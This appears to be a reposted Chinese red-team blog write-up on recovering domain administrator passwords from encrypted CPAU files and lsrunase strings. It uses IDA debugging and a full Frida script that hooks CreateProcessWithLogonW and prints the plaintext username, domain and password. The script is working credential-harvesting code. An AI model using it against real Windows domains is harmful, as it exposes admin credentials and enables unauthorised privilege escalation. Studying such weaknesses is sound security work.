域环境中管理员密码还原:CPAU和lsrunase的破解分析

渗透技巧 6个月前 admin
212 0 0

免责声明:

本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。



0x01 CPAU和lsrunase介绍

在使用Active Directory域环境中,普通用户若需要自行安装软件,则需要切换到管理员账户并获取相应的权限来运行。有些软件也要求管理员权限才能运行,对于这种情况,通常可以借助第三方软件CPAU以及lsrunase,通过指定批处理脚本来获取管理员权限,从而进行软件安装(或运行指定文件夹中的程序)。

这两个软件通常都会对管理员密码进行加密,因此我们需要进行密码还原。

0x02 CPAU和lsrunase的使用
  • CPAU的使用   

CPAU通过用户名密码生成加密文件

cpau -u domainusername -p password -ex program -enc -file enc.txt

域环境中管理员密码还原:CPAU和lsrunase的破解分析

CPAU使用加密文件,以管理员权限运行程序

cpau -dec -file ./enc.txt -lwp

域环境中管理员密码还原:CPAU和lsrunase的破解分析

域环境中管理员密码还原:CPAU和lsrunase的破解分析

  • lsrunase的使用  

使用LSencrypt.exe生成加密口令

域环境中管理员密码还原:CPAU和lsrunase的破解分析

lsrunase使用加密口令,以管理员权限运行程序

lsrunase.exe /user:username /password:encrypted /domain:test_domain /command:"program" /runpath:"runpath"

域环境中管理员密码还原:CPAU和lsrunase的破解分析

0x03 域密码还原
  • CPAU密码还原   

还原思路:通过上面的方法使用CPAU生成加密文件enc.txt,域密码设置为test_password,通过IDA动态调试CPAU的解密过程    

把CPAU载入IDA中,由于main函数太大,无法反编译,通过修改hexrays.cfg中的MAX_FUNCSIZE为1024,重新打开IDA即可对main函数反编译

域环境中管理员密码还原:CPAU和lsrunase的破解分析

CPAU在解密enc.txt后会还原password,main函数中查找password关键字

域环境中管理员密码还原:CPAU和lsrunase的破解分析

发现CreateProcessWithLogonW函数,CreateProcessWithLogonW是Windows操作系统提供的一个函数,用于在以指定用户身份登录的情况下创建一个新的进程。这个函数允许以不同的用户凭据运行一个进程,而不必实际切换用户登录    

域环境中管理员密码还原:CPAU和lsrunase的破解分析          
       在此处断点,配置命令行参数,使用加密的enc.txt文件运行程序,开启调试

域环境中管理员密码还原:CPAU和lsrunase的破解分析

动态调试发现在此处enc.txt已被解密,成功还原域的用户名密码    

域环境中管理员密码还原:CPAU和lsrunase的破解分析

通过frida hook CreateProcessWithLogonW函数,打印参数

const moduleName = 'Advapi32.dll';const functionName = 'CreateProcessWithLogonW';           const createProcessWithLogonW = Module.findExportByName(moduleName, functionName);           if (createProcessWithLogonW !== null) {    Interceptor.attach(createProcessWithLogonW, {        onEnter: function (args) {            console.log('[CreateProcessWithLogonW]');            // 打印参数                console.log('lpUsername:', Memory.readUtf16String(args[0]));            console.log('lpDomain:', Memory.readUtf16String(args[1]));            console.log('lpPassword:', Memory.readUtf16String(args[2]));            console.log('dwLogonFlags:', args[3].toInt32());            console.log('lpApplicationName:', Memory.readUtf16String(args[4]));            console.log('lpCommandLine:', Memory.readUtf16String(args[5]));            console.log('lpProcessAttributes:', args[6]);            console.log('lpThreadAttributes:', args[7]);            console.log('bInheritHandles:', args[8].toInt32());            console.log('dwCreationFlags:', args[9].toInt32());        }    });} else {    console.error('Unable to find CreateProcessWithLogonW function.');}

获取到解密后的域、用户名、密码

域环境中管理员密码还原:CPAU和lsrunase的破解分析

  • lsrunase密码还原  

lsrunase载入IDA中,发现加壳了    

域环境中管理员密码还原:CPAU和lsrunase的破解分析

我们猜测也是使用CreateProcessWithLogonW启动程序,直接使用脚本测试,成功获取到域密码

域环境中管理员密码还原:CPAU和lsrunase的破解分析

0x04 总结

在这篇文章中,我们研究了在域环境中以普通用户身份安装软件的问题,并介绍了通过CPAU和lsrunase两个第三方软件来获取管理员权限的方法。

这两个工具通常会配合批处理进行使用,会对管理员密码进行加密,CPAU只要获取到加密文件或lsrunase获取到加密密码,我们即可hook关键函数还原域密码,理论上使用CreateProcessWithLogonW函数的软件均可通杀还原密码。    

0x05 加入我们

后台回复“加群”或“小助手”,或扫描下方二维码加入我们的付费圈子,一起进步吧


域环境中管理员密码还原:CPAU和lsrunase的破解分析

域环境中管理员密码还原:CPAU和lsrunase的破解分析


原文始发于微信公众号(Lambda小队):域环境中管理员密码还原:CPAU和lsrunase的破解分析

版权声明:admin 发表于 2023年11月14日 上午8:07。
转载请注明:域环境中管理员密码还原:CPAU和lsrunase的破解分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...